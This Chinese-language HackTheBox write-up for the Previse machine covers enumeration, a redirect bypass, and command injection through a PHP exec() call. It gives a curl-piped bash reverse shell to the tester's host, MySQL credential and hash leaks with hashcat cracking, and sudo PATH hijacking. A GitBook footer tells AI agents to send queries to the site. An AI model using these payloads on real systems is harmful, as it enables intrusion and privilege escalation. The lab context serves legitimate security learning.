> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Previse HackTheBox 复盘

Previse HackTheBox 简单 Linux 机器复盘，涵盖 Web 枚举、重定向后执行（EAR）漏洞 - 跳过重定向、PHP 源码分析、命令注入（RCE），并包含实

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**技能：**

* Web 枚举
* 执行后重定向（EAR）漏洞 - 跳过重定向
* PHP 源代码分析
* 命令注入（RCE）
* 信息泄露
* 数据库枚举
* 破解哈希
* 滥用 Sudoers 权限 + PATH 劫持（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab76fd87dfc8c286d2e969a604d33b511bb7818%2F%7BFC9269CB-2D1E-46F4-8370-504AE252A1E3%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-482fd59584a948b111cd5210eccf0d966e55b767%2F%7BC89EC2B0-B6C0-4C4B-ACC1-ED9D83BF5513%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a125d5b59f74d3c7e17807385ec48c59e573083f%2F%7BC476CFCE-45CE-46A0-A17A-32CBC5275715%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 对 22.80 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-486df0d41ec87ec14ee926fe0129583a10c44684%2F%7BFEE26871-2520-47A6-BE7B-AD85467BEE01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

我们找到一个需要用户名和密码的登录页面。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f2e541a8e0b97e1bf6421992b0a91822bb2bb37%2F%7BF19156B0-3E6B-4285-BCD0-055EA349DA4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **模糊测试 PHP 目录和文件**

既然存在一个 PHP 文件，其他文件很可能也存在：

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **漏洞 EAR（重定向后执行）- 跳过重定向**

我们找到几个包含内容但会重定向到登录页面的页面。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82f00fb122b191a104fc65f1b31f75c5e123371a%2F%7BDE9EB251-F497-4B5B-8B57-57F5F339AB9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们在此处拦截请求 `nav.php` 并使用 Burp Suite 观察到一个 302 重定向。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e3b6cda10d20218616b14a16f710d911217df8e%2F%7B3FFCB145-3398-41F5-8E73-545514CC0E36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过强制将响应置为 `200 OK`，我们直接前往 `accounts` 页面。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc010e5920792256f07365d94ffe7e83548d6c69%2F%7B9EFBABA3-3B7E-4293-A5D9-27D85800B3E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cafa324be52588a9ec4c5235a2af6e1bcdeb8e65%2Fimage%20(652).png?alt=media" alt=""><figcaption></figcaption></figure>

我们在 Burp Suite 中创建一条规则，自动更改 `302 已找到` 响应为 `200 OK`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d3c4318030f092dfd2e558143980dfe2c533889%2Fimage%20(654).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们创建一个用户 `jordan` 并登录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1f889a0b2c1119daccbea4136e629b40626e14e%2Fimage%20(655).png?alt=media" alt=""><figcaption></figcaption></figure>

### **对恢复文件的分析**

我们下载在 `/files`:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1d995e89a522c5e2dd09372c0bb9fab2484020%2Fimage%20(656).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77712ec0b532c42bff3c90052dc90802773ba6c6%2Fimage%20(657).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到几个 PHP 文件，并注意到 `logs.php` 使用了 `exec()` 函数，且没有任何验证：

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b482ce3d62bbf09b25db963e759ddb552cb5c93%2Fimage%20(659).png?alt=media" alt=""><figcaption></figcaption></figure>

### **命令注入利用（RCE）**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ad1b9c6c529802dec94d730ca30223166611ec4%2F%7BEBF128BE-7EE2-48A5-B5B0-F293CF9B9F65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们拦截对 `file_logs.php` 并通过 `delim` 参数存在开放重定向漏洞：

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

我们收到一个连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77752a111dbc97d93fcbb150756383609e37beec%2Fimage%20(660).png?alt=media" alt=""><figcaption></figcaption></figure>

### 反向 Shell

我们创建一个 `index.html` 其中包含：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

我们启动一个 Python Web 服务器：

```bash
python3 -m http.server 80
```

我们在本机的 443 端口上监听：

```bash
nc -nlvp 443
```

我们运行以下命令来获取反向 shell：

```bash
;curl http://10.10.14.50  | bash
```

我们现在是用户 `www-data`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2aa8517ae0240f1063c1db627f6fe46282341a0%2Fimage%20(661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **优化 Shell**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **权限提升**

### 横移到用户 m4lwhere

我们找到一个包含凭据的文件：

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6045d3f001ab3d9314e0300c7be49c3afe9ab225%2Fimage%20(662).png?alt=media" alt=""><figcaption></figcaption></figure>

我们连接到 MySQL 数据库：

```sql
mysql -u root -p
```

我们列出数据库：

```sql
show databases;
```

我们找到基础 `previse`，我们使用它：

```sql
use previse;
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3967f88e12298d305b1ff0c57b637773a7b6f4d5%2F%7B94917894-50B8-4782-BF6D-1DD99247FE2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们查看 `accounts` 表：

```sql
show tables;
describe accounts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6982a079ac877fb18ea72b3b7f4b337a124998ad%2Fimage%20(663).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到：

```sql
select username, password from accounts;
```

* username: m4lwhere
* password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc7ba61e218d6fc0574067791c7c7a85ceb0249%2Fimage%20(664).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **哈希破解**

我们使用 Hashcat 来破解它：

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

找到密码：

* password : ilovecody112235!

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f84ac24d207b236a976103908ca982f82a21b854%2Fimage%20(665).png?alt=media" alt=""><figcaption></figcaption></figure>

我们以 `m4lwhere`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f146ffb8fc9b3c271dffddb6e57f77ebfc107688%2Fimage%20(666).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bffdc906aa75a578c43d73a0d933eca16fcd3c7%2F%7BCA605DAA-900C-4943-A489-532AAE7157AB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **PATH 劫持（gzip）**

我们列出 sudo 权限：

```bash
sudo -l
```

我们找到一个可由 root 使用 `gzip` 而未使用绝对路径。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-803a38118d428ceb6b3e2ba243fa89684001b646%2Fimage%20(667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **创建恶意二进制文件**

我们创建一个恶意的 `gzip` 文件位于 `/tmp/`:

```bash
chmod 4777 /bin/bash
```

我们修改 `PATH` 变量以优先考虑 `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c50c2363e851b9081871d04eeba7670e8935eea%2Fimage%20(668).png?alt=media" alt=""><figcaption></figcaption></figure>

我们以 root 身份运行脚本：

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0abfe4727c3e6362c49afe5d0f1d8ea504ae58c%2Fimage%20(669).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9287a85975dddca4e4dd20b02d5b000730539cb4%2Fimage%20(670).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3c7e9ff2d8c16727aef3522fcebc0fbb2fc748c%2F%7B602D6D2C-0552-4E1F-8CC6-AE0C3846B2BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
